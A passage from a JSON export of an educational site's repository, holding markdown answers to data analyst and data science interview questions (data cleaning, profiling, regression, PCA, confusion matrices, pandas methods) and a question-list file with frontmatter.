    "content": "Anything can happen when dealing with data, however if we're considering the most common challenges, we could include missing or inconsistent data, varying formats, lack of clear documentation, and large file sizes that strain computing resources. \n\nTo overcome these, analysts use a combination of thorough profiling, robust ETL (extract, transform, load) pipelines, modular cleaning scripts, and collaboration with data engineers or domain experts. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-cleaning.md",
    "content": "Cleaning data and handling the lack of some values typically involves several steps:\n\n1. **Identify missing or inconsistent data**: We first have to scan the dataset for null values, anomalies, or formatting issues that could be caused by errors.  \n2. **Assess the impact of missing values**: We then evaluate how much data is missing and determine how critical those fields are to the analysis.   \n3. **Select a handling strategy**: Next, we choose whether to fill in missing data (imputation), exclude affected rows, or flag incomplete records. It all depends on the business context, of course.  \n4. **Impute or remove values**: If you're going to impute data, use methods such as mean, median, or mode imputation, to calculate the missing values in a way that makes sense to the context of the data. Otherwise, just remove records with excessive gaps if necessary.  \n5. **Verify the cleaned dataset**: Run data validation checks to ensure that the cleaning process preserved data integrity and did not introduce bias. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-formats.md",
    "content": "The key to dealing with data in multiple formats like CSV, JSON, Excel, or SQL databases is to standardize schemas and ensure consistent data types. Also known as data harmonization.\n\nData analysts focus on structure compatibility, efficient data storage, and transforming unprocessed data into tidy, analyzable formats.\n\nConsiderations include handling data without a pre-defined structure, such as free-text fields or social media content, which often requires natural language processing techniques to structure meaningfully. Nested structures—like JSON objects within rows—must be flattened or parsed appropriately for tabular analysis. \n\nEncoding issues, such as character mismatches or inconsistent formatting (e.g., UTF-8 vs. ASCII), can lead to incorrect values or loading errors, so ensuring standardized encoding across all sources is crucial. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-integrity-strategies.md",
    "content": "Ensuring data integrity involves implementing validation rules, conducting regular audits, and applying version control for datasets. \n\nAnomaly detection and continuous profiling help identify incorrect data values early, while clear governance policies help ensure consistency and accountability across teams in the long run. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-mining.md",
    "content": "Data mining is the practice of analyzing large datasets to discover hidden patterns, relationships, or insights using methods from statistics, machine learning, and database systems. \n\nWhile data mining might sound a lot like Exploratory Analysis (or EDA) because they both involve exploring data, they differ in scope and depth. EDA focuses on summarizing and visualizing the dataset to understand its structure and quality, typically as a precursor to modeling. \n\nData mining, on the other hand, involves applying more advanced, often automated techniques to uncover non-obvious patterns, often with the goal of prediction or segmentation. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-modeling-experience.md",
    "content": "Data modeling involves designing schemas (such as relational or star schemas) that align with business requirements. Key practices include normalization for data consistency, indexing for performance, and using columnar storage for scalability. \n\nDocumentation and adherence to data structure standards support efficient access and long-term maintainability. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-modeling.md",
    "content": "It helps define how data is structured and related, laying the foundation for efficient querying and data analytics. Usually data analysts perform the modeling ahead of time, giving them direction, something to work towards when they start with the wrangling phase.\n\nData management, on the other hand, ensures data integrity, accessibility, and security throughout its lifecycle. Together, they enable scalable, accurate, and consistent data analysis, supporting better decision-making and long-term analytical success. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-profiling.md",
    "content": "Profiling is the process of examining the data available in an existing dataset and collecting statistics and summaries about that data. While it might be confused with EDA, profiling can instead be considered as the first step of EDA, helping to identify quality issues such as null values, duplicate records, outliers, and unexpected formats. Thus allowing analysts to correct or address these problems before they start looking for patterns and outliers as part of the exploratory analysis. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-quality.md",
    "content": "Ensuring quality involves validating the accuracy, completeness, consistency, and reliability of the data collected from each source. The fact that you do it from one source or multiple is almost irrelevant since the only extra task would be to homogenize the final schema of the data, ensuring deduplication and normalization. \n\nThis last part typically includes verifying the credibility of each data source, standardizing formats (like date/time or currency), performing schema alignment, and running profiling to detect anomalies, duplicates, or mismatches before integrating the data for analysis. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-storage-approaches.md",
    "content": "Common approaches include using ETL pipelines and integration tools to convert and unify data in formats like CSV, JSON, and XML. Through these tools, data engineers can load and transform the data, saving it in a common format for later use.\n\nChallenges related to data storage are addressed by optimizing internal structures (e.g., using Parquet for large volumes), applying indexing strategies, and storing data in scalable environments such as cloud warehouses. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-transformation-process.md",
    "content": "Working with data transformations requires several different steps:\n\n1. You can start the process by collecting data from diverse sources such as APIs, flat files, or databases, depending on the needs of the project.  \n2. Once collected, profiling of the data needs to happen to evaluate the structure, completeness, consistency, and accuracy of the dataset. This is important because the type of actions that you can take next on this data, will depend on its profile.  \n3. Then comes the data cleaning phase, where missing values are addressed, duplicate records are removed, and formats are standardized to ensure uniformity across variables.   \n4. Finally, wrangling techniques are used to reshape, merge, or transform the cleaned data into formats that align with the requirements of downstream models, dashboards, or machine learning pipelines. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-types.md",
    "content": "These two types of data are quite different, on the one hand you have numerical data that represents measurable quantities and includes continuous data (like height, weight, income) and discrete data (like number of children). \n\nOn the other hand, you have the data that represents labels or categories such as product types, departments, or user segments, and may be nominal (unordered) or ordinal (ordered). "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-validation.md",
    "content": "Data analysis directly depends on the accuracy of the data being analyzed. And while it doesn't have to have high accuracy when it's initially ingested, it needs to be improved until a minimum standard is reached. \n\nAnd because of this, data validation is critical in ensuring that the inputs to an analysis are accurate, consistent, and within expected ranges. \n\nWithout validation, there's a risk of basing insights and decisions on flawed/biased data. Validation includes applying rules, such as checking for duplicates, range checks, and data type verification, to catch errors early. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-visualization.md",
    "content": "Data visualization plays a vital role in making data accessible and understandable by turning raw numbers into visual formats that reveal trends, correlations, and outliers. After all, it helps analysts explore data by summarizing endless rows of values into simple representations that can communicate findings effectively to non-technical stakeholders. \n\nCommon tools for this purpose include Excel or Google Spreadsheets for quick visuals, Tableau and Power BI for interactive dashboards, and Python libraries like Matplotlib and Seaborn for custom plots. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/data-wrangling.md",
    "content": "It is the process of cleaning, structuring, and enriching data into a desired format so that it can be analyzed further down the pipeline. \n\nIt is especially useful with data that lacks structure, such as text files, emails, or social media posts, because these formats need to be parsed, standardized, and transformed before they can be analyzed. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/descriptive-analysis.md",
    "content": "Descriptive analysis summarizes historical data to identify trends, measure performance, and understand customer behavior. \n\nFor a data analyst, it is often the first step in analyzing marketing data, revealing key performance indicators, average value trends, and segment behavior. This output usually helps steer further exploratory analysis or predictive modeling efforts. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/duplicate-data.md",
    "content": "Duplicate data can skew results and lead to incorrect conclusions, reason why data analysts try to avoid it as the plague.\n\nTypically, analysts detect duplicates using key fields (when available) or fuzzy matching (which allows for partial matches to be identified as exact ones), then handle them by either merging records, keeping the most recent entry, or removing the redundant rows, depending on the context and business rules. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/excel-tools.md",
    "content": "Excel is probably one of the most versatile tools for quick data exploration, initial data cleaning, pivoting, and aggregating data points, as long as the volume of data is manageable by the program. \n\nIt is often used in combination with SQL for querying structured data, and Python or R for more advanced analysis options. \n\nYou can think of Excel as a flexible interface for rapid prototyping before scaling workflows. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/excel-usage.md",
    "content": "Excel is quite a versatile tool used by almost everyone in the data industry. While it might not be the best choice for all use cases, it's frequently used for tasks such as data entry, quick data cleansing, creating pivot tables, performing basic analysis, and building initial visualizations. \n\nGiven its ease of use and how powerful it is, it often serves as a useful platform for prototyping before scaling up to more complex tools like SQL or Python. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/exploratory-data-analysis.md",
    "content": "EDA is a critical initial step in any data project, often using visual methods to understand the data. \n\nIt helps data analysts identify patterns, spot anomalies, test assumptions, and understand the structure and distribution of data. The output of your EDA will act as the input for the selection of appropriate models and methods for deeper analysis, ultimately reducing the risk of inaccuracy in the final results. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/hypothesis-testing.md",
    "content": "Hypothesis testing starts with defining the null and alternative hypotheses, selecting the appropriate test and significance level, and calculating the test statistic and p-value. \n\nData analysts ensure validity by checking assumptions, using adequate sample sizes, and applying corrections for multiple tests when necessary. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/large-dataset-modification.md",
    "content": "Modifying large datasets can lead to inconsistencies or data integrity issues. Best practices include performing updates in batch processes, using audit trails, applying automated validation scripts, and staging changes in test environments before deploying to production systems to ensure standards are met. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/missing-data.md",
    "content": "Data analysts are always trying to handle holes in their data in one way or another, because it directly affects their job and results.\n\nThere are several ways to handle missing data, one way is by using imputation techniques (e.g., mean, median, predictive models), removing incomplete rows, or even flagging affected data points. The chosen method depends on the data set and business context, with proper validation to ensure analytical integrity. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/mixed-data-regression.md",
    "content": "A typical scenario involves combining numerical inputs like purchase amounts with categorical variables like region to predict customer lifetime value. \n\nChallenges include encoding categorical variables (e.g., one-hot encoding) and avoiding multicollinearity. Ensuring the validity of regression assumptions is also critical to achieving reliable outcomes. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/pca-analysis.md",
    "content": "Principal Component Analysis (PCA) is a dimensionality reduction technique used in data analytics to simplify large data sets by transforming correlated variables into a smaller number of uncorrelated components. \n\nIn simpler terms, imagine having a spreadsheet with dozens of similar columns about customers' habits. In this case, PCA helps condense that data into a few powerful new columns that still capture most of the important patterns, making the data easier to analyze without losing much meaning.\n\nData analysts often use PCA in scenarios where datasets have many features, such as customer behavior tracking, to reduce noise and improve the performance of clustering or classification algorithms. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/pca-scenario.md",
    "content": "To prepare for a data analyst interview, reviewing a project that involved principal component analysis (PCA) is recommended. \n\nFor instance, applying PCA to a customer transaction dataset with dozens of behavioral variables helps reduce dimensionality and improve model performance by minimizing multicollinearity and noise, that way you get to showcase your own understanding of dimensionality reduction techniques. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/probability-distributions.md",
    "content": "Continuous probability distributions, such as the normal distribution, are foundational in this type of analysis. They allow data analysts to model real-world phenomena, estimate probabilities, and apply statistical tests. \n\nThe normal distribution, in particular, underpins many statistical models and techniques due to its well-known properties and prevalence in natural datasets.\n\nFor example, if you measured the heights of a large group of adults, you'd likely see that most people cluster around an average height, with fewer people being very short or very tall, the resulting curve, known as bell curve, is a classic example of a data distribution known as \"normal\"..\n\nUnderstanding this helps data analysts apply the right statistical techniques when analyzing data like test scores, product ratings, or sales figures. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/profiling-methods.md",
    "content": "Data profiling involves assessing the structure, content, and quality of a dataset. In other words, getting a quick picture of what the data looks like without going through the entire data set.\n\nThe most common methods include checking for missing values, detecting incorrect values, reviewing data types and ranges, and identifying duplicate data. \n\nAutomated profiling tools and custom scripts help data analysts uncover issues before performing deeper analysis. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/record-modification.md",
    "content": "For example, you could think of modifying existing records by standardizing customer names and correcting inconsistent formats in a CRM system. \n\nAfter profiling and identifying the quality issues, analysts can apply transformation rules, validate entries, and ensure the updated records adhere to the existing standards to avoid errors in future analyses. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/regression-analysis.md",
    "content": "A data analyst might apply linear regression to model the relationship between advertising spend and sales data over time. By identifying the line of best fit, analysts can forecast future sales and support data-driven decision-making about how much money to use in advertising. \n\nMore advanced scenarios may include techniques such as multivariate regression when multiple variables are influencing the outcome. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/regression-comparison.md",
    "content": "On one side, the first one is used when predicting a continuous outcome, such as revenue, and on the other side logistic regression is better for categorical or binary outcomes, such as churn (yes/no). This type of regression applies a sigmoid function to output probabilities, making it great for classification tasks. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/sales-clustering.md",
    "content": "Cluster analysis groups similar data points based on features such as purchase behavior, frequency, or location. \n\nApplied to sales data, this technique can reveal buyer segments, regional trends, or product preferences. These insights help refine marketing campaigns, improve customer retention, and even inform pricing strategies. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/statistical-hypothesis.md",
    "content": "Hypothesis testing in data mining is a method used to check whether assumptions about a dataset are likely to be true. \n\nIt involves starting with two statements: a null hypothesis (usually representing no effect or change) and an alternative hypothesis (representing the effect or change being tested). \n\nStatistical tests like t-tests or ANOVA are then applied to compare groups or variables. The results are measured using p-values and confidence intervals, which help determine if the findings are statistically meaningful. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/statistical-models.md",
    "content": "There are dozens of commonly used statistical models, and data analysts use several of them with other techniques depending on the analysis objective. \n\nCommon methods include linear and logistic regression, hypothesis testing (t-tests, chi-square tests), ANOVA, time series analysis, and Bayesian inference. These tools help analyze data, identify trends, and validate assumptions during the data analysis process. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/stats-viz-integration.md",
    "content": "This type of analysis is used to identify key metrics, trends, or correlations in the data. \n\nData visualization tools like Tableau, Power BI, or Python's Seaborn are then used to display those insights in a clear, accessible format. This integration helps stakeholders make informed decisions by connecting statistical findings to real-world implications. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/unstructured-data-aggregation.md",
    "content": "When working with data that is not structured such as customer reviews, social media comments, or even video feed data, the key is to turn it into structured data. The way to do that depends on the source and type of the data, for instance, text information (such as reviews, or social media comments) can be processed with natural language processing (NLP) techniques to extract structured elements like sentiment or keyword frequency. \n\nAfter that, data aggregation techniques, such as calculating average sentiment by product or keyword frequency counts, can then be used to uncover trends and support marketing and product strategies. \n\nIn other words, turn the chaos of data into a structured format, and then derive insight by aggregating it. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/visualization-decisions.md",
    "content": "Data visualization transforms complex data sets into intuitive visuals that highlight trends, outliers, and relationships. Tools like Tableau, Power BI, and Microsoft Excel enable data analysts to build dashboards and reports that help stakeholders make informed decisions. \n\nEffective visualizations improve communication and accelerate decision-making based on real-time data insights. \n\nIn simpler terms, good charts and dashboards help people quickly understand what's going on in the business. What's working, what's not, and where they should focus next, without needing to dig through rows of data themselves. "
  },
  {
    "path": "src/data/question-groups/data-analyst/content/visualization-eda.md",
    "content": "Exploratory analysis can be performed using tools like Tableau, Power BI, or Python libraries such as Matplotlib and Seaborn. \n\nTechniques include plotting distributions, detecting outliers, and identifying trends using visual summaries. These visualizations help analysts and stakeholders better understand underlying patterns. "
  },
  {
    "path": "src/data/question-groups/data-analyst/data-analyst.md",
    "content": "---\norder: 4\nbriefTitle: 'Data Analyst'\nbriefDescription: 'Test, Rate and Improve your Full-stack knowledge with these questions.'\ntitle: '50 Popular Data Analyst Interview Questions (+ Quiz!)'\ndescription: 'Get interview-ready with this essential list of data analyst interview questions, covering technical, analytical, and scenario-based Q&A.'\nauthorId: 'fernando'\nisNew: true\ndate: 2025-04-21\nseo:\n  title: '50 Popular Data Analyst Interview Questions (+ Quiz!)'\n  description: 'Get interview-ready with this essential list of data analyst interview questions, covering technical, analytical, and scenario-based Q&A.'\n  ogImageUrl: 'https://assets.roadmap.sh/guest/data-analyst-interview-questions-ontjt.jpg'\n  keywords:\n    - 'data analyst quiz'\n    - 'data analyst questions'\n    - 'data analyst interview questions'\n    - 'data analyst interview'\n    - 'data analyst test'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\nquestions:\n  - question: What does a data analyst do, and how does data analysis differ from data analytics?\n    answer: data-analyst-role.md\n    topics:\n      - 'Beginner'\n  - question: What steps do you follow in the data analysis process when working with raw data?\n    answer: data-analysis-process.md\n    topics:\n      - 'Beginner'\n  - question: How would you approach cleaning data and handling missing data in a dataset?\n    answer: data-cleaning.md\n    topics:\n      - 'Beginner'\n  - question: What is exploratory data analysis, and why is it important when analyzing data?\n    answer: exploratory-data-analysis.md\n    topics:\n      - 'Beginner'\n  - question: How do you ensure data quality when you collect data from various data sources?\n    answer: data-quality.md\n    topics:\n      - 'Beginner'\n  - question: What role does data visualization play in your analysis, and which data visualization tools have you used?\n    answer: data-visualization.md\n    topics:\n      - 'Beginner'\n  - question: Can you explain what data wrangling is and why it is crucial when working with unstructured data?\n    answer: data-wrangling.md\n    topics:\n      - 'Beginner'\n  - question: What is data profiling, and how does it help you identify incorrect values?\n    answer: data-profiling.md\n    topics:\n      - 'Beginner'\n  - question: Describe the differences between numerical data and categorical data\n    answer: data-types.md\n    topics:\n      - 'Beginner'\n  - question: How do you use Microsoft Excel in your daily tasks as a data analyst?\n    answer: excel-usage.md\n    topics:\n      - 'Beginner'\n  - question: What are some common challenges you face when working with complex data sets, and how do you overcome them?\n    answer: data-challenges.md\n    topics:\n      - 'Beginner'\n  - question: Can you discuss the importance of data validation in ensuring accurate data analysis?\n    answer: data-validation.md\n    topics:\n      - 'Beginner'\n  - question: How do you approach identifying and handling duplicate data?\n    answer: duplicate-data.md\n    topics:\n      - 'Beginner'\n  - question: Explain the term \"data aggregation\" and its relevance when summarizing data points\n    answer: data-aggregation.md\n    topics:\n      - 'Beginner'\n  - question: What is data mining, and how do you use it to uncover data patterns?\n    answer: data-mining.md\n    topics:\n      - 'Beginner'\n  - question: Describe how you would use regression analysis to predict trends using historical data\n    answer: regression-analysis.md\n    topics:\n      - 'Intermediate'\n  - question: Explain the differences between univariate, bivariate, and multivariate analysis\n    answer: analysis-types.md\n    topics:\n      - 'Intermediate'\n  - question: How do you manage data stored in various formats, and what data structure considerations do you keep in mind?\n    answer: data-formats.md\n    topics:\n      - 'Intermediate'\n  - question: Discuss the importance of data modeling and data management in creating a robust data analysis process\n    answer: data-modeling.md\n    topics:\n      - 'Intermediate'\n  - question: Can you explain the concept of principal component analysis and describe a scenario in which you would use it?\n    answer: pca-analysis.md\n    topics:\n      - 'Intermediate'\n  - question: How would you perform clustering on a dataset to derive meaningful insights?\n    answer: clustering-analysis.md\n    topics:\n      - 'Intermediate'\n  - question: What statistical models and statistical techniques do you commonly use to perform statistical analysis?\n    answer: statistical-models.md\n    topics:\n      - 'Intermediate'\n  - question: How do you approach hypothesis testing, and what steps do you take to ensure your conclusions are statistically valid?\n    answer: hypothesis-testing.md\n    topics:\n      - 'Intermediate'\n  - question: Discuss how you address missing information in a dataset and the impact they might have on your analysis\n    answer: missing-data.md\n    topics:\n      - 'Intermediate'\n  - question: How do you use data visualization to support data-driven decision making?\n    answer: visualization-decisions.md\n    topics:\n      - 'Intermediate'\n  - question: What methods do you use for data profiling to identify quality issues in a data set?\n    answer: profiling-methods.md\n    topics:\n      - 'Intermediate'\n  - question: Can you describe a scenario where you had to modify records in a database to improve the quality of your data?\n    answer: record-modification.md\n    topics:\n      - 'Intermediate'\n  - question: How do you leverage Microsoft Excel alongside other tools to transform data?\n    answer: excel-tools.md\n    topics:\n      - 'Intermediate'\n  - question: Explain the importance of continuous probability distributions and normal distributions in your statistical analysis\n    answer: probability-distributions.md\n    topics:\n      - 'Intermediate'\n  - question: What role does descriptive analysis play in understanding marketing data for a data analyst role?\n    answer: descriptive-analysis.md\n    topics:\n      - 'Intermediate'\n  - question: Describe an advanced data analysis project you led where you integrated data from multiple data sources and ensured their quality throughout the process\n    answer: advanced-data-integration.md\n    topics:\n      - 'Advanced'\n  - question: Explain how you would use data aggregation techniques to derive insights from complex, unstructured data\n    answer: unstructured-data-aggregation.md\n    topics:\n      - 'Advanced'\n  - question: Discuss the process and challenges of data wrangling when dealing with raw data and incorrect data values\n    answer: advanced-data-wrangling.md\n    topics:\n      - 'Advanced'\n  - question: How would you perform a multivariate analysis on a large dataset, and which statistical methods would you apply?\n    answer: advanced-multivariate.md\n    topics:\n      - 'Advanced'\n  - question: Explain how logistic regression differs from linear regression and when you would use each method in analyzing data\n    answer: regression-comparison.md\n    topics:\n      - 'Advanced'\n  - question: What techniques do you use to handle missing data, and how do these approaches affect validation and data profiling?\n    answer: advanced-missing-data.md\n    topics:\n      - 'Advanced'\n  - question: Discuss how you would prepare for your next data analyst interview by detailing a scenario where you applied principal component analysis to reduce dimensionality\n    answer: pca-scenario.md\n    topics:\n      - 'Advanced'\n  - question: Describe your process for collecting and transforming data, including specific steps for data cleaning and wrangling\n    answer: data-transformation-process.md\n    topics:\n      - 'Advanced'\n  - question: How do you integrate statistical analysis with data visualization to support data-driven decisions in a data science project?\n    answer: stats-viz-integration.md\n    topics:\n      - 'Advanced'\n  - question: Can you explain the differences between descriptive, predictive, and prescriptive analytics in a data analytics context?\n    answer: analytics-types.md\n    topics:\n      - 'Advanced'\n  - question: What approaches do you use to handle data stored in different formats, and how do you manage challenges related to storage?\n    answer: data-storage-approaches.md\n    topics:\n      - 'Advanced'\n  - question: How would you use cluster analysis to identify patterns in sales data, and what insights might you derive from your analysis?\n    answer: sales-clustering.md\n    topics:\n      - 'Advanced'\n  - question: Explain how you would leverage bivariate analysis together with univariate analysis to explore data patterns and average value trends\n    answer: combined-analysis.md\n    topics:\n      - 'Advanced'\n  - question: Describe a scenario where you combined numerical data and categorical data to perform regression analysis. What challenges did you face?\n    answer: mixed-data-regression.md\n    topics:\n      - 'Advanced'\n  - question: Discuss the challenges of modifying existing records in a large data set and ensuring that validation standards are maintained\n    answer: large-dataset-modification.md\n    topics:\n      - 'Advanced'\n  - question: What strategies do you use to ensure data integrity and prevent situations where data falls short of expected quality standards?\n    answer: data-integrity-strategies.md\n    topics:\n      - 'Advanced'\n  - question: How do you use statistical concepts and statistical analysis to support hypothesis testing in your data mining projects?\n    answer: statistical-hypothesis.md\n    topics:\n      - 'Advanced'\n  - question: Discuss your experience with data modeling, including how you leverage data structure considerations and best practices for data storage\n    answer: data-modeling-experience.md\n    topics:\n      - 'Advanced'\n  - question: Explain how you would use data visualization tools to perform exploratory data analysis and provide meaningful insights\n    answer: visualization-eda.md\n    topics:\n      - 'Advanced'\n  - question: What advanced techniques do you use for data profiling to identify and address duplicate data and missing values, especially when dealing with continuous probability distributions?\n    answer: advanced-profiling.md\n    topics:\n      - 'Advanced'\n\n---\n\n![Top data analyst interview questions](https://assets.roadmap.sh/guest/data-analyst-interview-questions-ontjt.jpg)\n\nPreparing for a data analyst interview can be both exciting and nerve-wracking. Whether you're just starting out, looking to level up, or already an experienced pro, it helps to know what kinds of data analyst interview questions might come your way.\n\nIn this guide, we're breaking down common interview questions across beginner, intermediate, and advanced levels, plus a few practical answers to help you shine amongst the competition!\n\n## Getting ready for your next interview\n\nBefore we dive into the data analyst interview questions, remember: interviewers are not only testing your technical knowledge; they're also looking at your problem-solving skills, communication skills, and ability to work with others. \n\nThey want to see how you think, how you approach challenges, and whether you can explain complex ideas in a clear and logical way. \n\nIt's okay to pause and think or to ask clarifying questions if something isn't clear (this is actually highly recommended). Stay confident, and don't be afraid to talk through your thought process. Demonstrating a structured approach, even if you don't have the perfect answer, can go a long way.\n\n"
  },
  {
    "path": "src/data/question-groups/data-science/content/accuracy-from-confusion-matrix.md",
    "content": "```python\naccuracy = (TP + TN) / (TP + TN + FP + FN)\nprecision = TP / (TP + FP)  # How many selected items are relevant\nrecall = TP / (TP + FN)     # How many relevant items are selected\nf1_score = 2 * (precision * recall) / (precision + recall)  # Harmonic mean\n\n# For imbalanced datasets, consider:\nspecificity = TN / (TN + FP)\nbalanced_accuracy = (recall + specificity) / 2\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/apply-vs-map-pandas.md",
    "content": "- .map(): Works only on Series, applies a function element-wise\n- .apply(): More versatile, works on both Series and DataFrames\n- .applymap(): Applies a function to every element in a DataFrame\n\n```python\n# map - simple transformation of Series values\ndf['category'] = df['category_id'].map({1: 'Electronics', 2: 'Clothing'})\n\n# apply on Series - more complex operations\ndf['name'] = df['name'].apply(lambda x: x.title())\n\n# apply on DataFrame - process entire rows or columns\ndf.apply(lambda x: x.max() - x.min())\n\n# applymap - element-wise operation on entire DataFrame\ndf.applymap(lambda x: f\"{x:.2f}\" if isinstance(x, float) else x)\n``` "
  },
  {
    "path": "src/data/question-groups/data-science/content/bagging-vs-boosting.md",
    "content": "Ensemble techniques in machine learning combine multiple weak models into a strong, more accurate predictive model, using the collective intelligence of diverse models to improve performance. Bagging and boosting are different ensemble techniques that use multiple models to reduce error and optimize the model.\n\n![Bagging vs. boosting](https://assets.roadmap.sh/guest/difference-between-bagging-and-boosting-4j47l.png)\n\nThe bagging technique uses multiple models trained on different subsets of data. It decreases the variance and helps to avoid overfitting. It is usually applied to decision tree methods and is a special case of the model averaging approach. Boosting is an ensemble modeling technique designed to create a strong classifier by combining multiple weak classifiers. The process involves building models sequentially, where each new model aims to correct the errors made by the previous ones.\n\n- **Bagging:** Builds multiple models in parallel using bootstrapped datasets to reduce variance (e.g., Random Forest).\n- **Boosting:** Builds models sequentially, each trying to correct errors from the previous, reducing bias (e.g., XGBoost). "
  },
  {
    "path": "src/data/question-groups/data-science/content/batch-vs-online-learning.md",
    "content": "Batch learning is a term in artificial intelligence that refers to the process of training a machine learning model on a large set of data all at once, instead of continuously updating the model as new data comes in. This method allows for greater consistency and efficiency in the training process, as the model can learn from a fixed set of data before being deployed for use.\n\nIn batch learning, the model sees the entire dataset multiple times (known as epochs), refining its understanding with each pass. By processing data in large chunks, it converges more slowly but generally achieves higher accuracy.\n\nOnline learning takes a continuous, incremental approach. Instead of waiting for all the data to be available, you feed it to the model bit by bit, just like learning something new every day instead of cramming for a final exam. The model updates with each new data point, so it's constantly learning and evolving.\n\nFor example, imagine you're monitoring customer behavior on a website. Every time a user clicks or makes a purchase, your model gets smarter, learning from that single interaction and refining its predictions for the next. "
  },
  {
    "path": "src/data/question-groups/data-science/content/bias-variance-tradeoff.md",
    "content": "The bias-variance tradeoff refers to the balance between a model's ability to learn patterns (low bias) and its ability to generalize to new data (low variance). Bias is the error made when the model makes strong assumptions about the data: high bias could lead to underfitting. Variance is the model's sensitivity to small fluctuations in the data, and high variance could lead to overfitting.\n\n![Bias-variance tradeoff](https://assets.roadmap.sh/guest/bias-variance-tradeoff-jc0mj.png) "
  },
  {
    "path": "src/data/question-groups/data-science/content/categorical-vs-continuous-variables.md",
    "content": "A categorical variable is a column with fixed options based on qualities or labels like gender, age group, or education level. You can't do math on them directly, so during preprocessing, I usually apply one-hot encoding to turn those categories into binary columns the model can understand.\n\n![Categorical vs. continuous variables](https://assets.roadmap.sh/guest/categorical-variable-vs-continuous-variable-m1qz5.png)\n\nA continuous variable, on the other hand, can take on any value within a range like height, temperature, or speed. These are numeric, so you can run calculations on them. But before feeding them into a model, I scale them using normalization or standardization to keep all features on a similar range. This prevents one feature from overpowering the rest just because it has larger numbers."
  },
  {
    "path": "src/data/question-groups/data-science/content/central-limit-theorem.md",
    "content": "The Central Limit Theorem (CLT) states that if you take enough random samples from any dataset, even if the data is skewed or messy, the average of those samples will start to form a bell-shaped or normal distribution. This only holds if the samples are random, independent, and large enough, usually 30 or more.\n\nWhy does this matter? Because once those averages form a normal shape, you can use all the tools from the normal distribution. You can calculate standard errors, build confidence intervals, run hypothesis tests, make estimates, and use z-scores, even if the original data wasn’t normal to begin with."
  },
  {
    "path": "src/data/question-groups/data-science/content/combining-data-from-multiple-sources.md",
    "content": "When I combine data from different sources with inconsistent formats, the first thing I do is standardize everything: dates, column names, booleans, numbers, etc., so they all speak the same language. After doing that, I'll:\n\n- **Align schemas:** match columns across datasets. If one has extras, I drop or keep them depending on relevance.\n- **Unify categories:** I clean up inconsistencies like \"Y\" vs. \"Yes\" to avoid downstream issues.\n- **Tag the source:** I add a source column so I know where each row came from. This is super useful for tracking or debugging later.\n- **Merge or stack:** If the structure is the same, I **concat()**. If I'm matching on something like customer ID, I go with a merge or join.\n- **Final clean-up:** I look for duplicates, mismatched types, or broken values post-merge and fix them.\n\nI avoid merging before checking data types or keys. That’s a fast track to lost or duplicated rows."
  },
  {
    "path": "src/data/question-groups/data-science/content/confidence-intervals.md",
    "content": "A confidence interval is a range of values that's likely to have the true value of a population parameter based on sample data. Let's say you surveyed a sample of high school teachers and found their average salary was $75,000. Since that's just a sample, you can't say for sure it reflects all teachers, but we can say:\n\n*\"We're 95% confident that the real average salary for all teachers falls between $72,000 and $78,000.\"*\n\nThe confidence interval is between $72,000 and $78,000. It gives us a buffer to account for uncertainty in our estimate.\n\n![Confidence intervals for teachers salaries](https://assets.roadmap.sh/guest/confidence-interval-for-teacher-salaries-mee1i.png)"
  },
  {
    "path": "src/data/question-groups/data-science/content/confusion-matrix.md",
    "content": "A confusion matrix is a simple table that shows how well a classification model is performing by comparing its predictions to the actual results. It breaks down the predictions into four categories: correct predictions for both classes (true positives and true negatives) and incorrect predictions (false positives and false negatives). This helps you understand where the model is making mistakes so you can improve it.\n\n- **TP:** True Positives\n- **TN:** True Negatives\n- **FP:** False Positives\n- **FN:** False Negatives\n\n![Confusion matrix](https://assets.roadmap.sh/guest/actual-values-qnezf.png)\n\n**Example:** From the matrix below, there are 165 total cases:\n\n- **True Negatives:** **50**\n- **False Positives:** **10**\n- **False Negatives:** **5**\n- **True Positives:** **100**\n\nDepending on the project you're working on, you can use metrics such as Accuracy, Precision, Recall, and F1 Score to evaluate your project. A confusion matrix is a visualization of it.\n\n![An example of confusion matrix](https://assets.roadmap.sh/guest/sample-confusion-matrix-l4q8i.png)\n\n**Common pitfall:** Misreading the matrix layout or assuming it works for multi-class without modification. "
  },
  {
    "path": "src/data/question-groups/data-science/content/correlation-vs-causation.md",
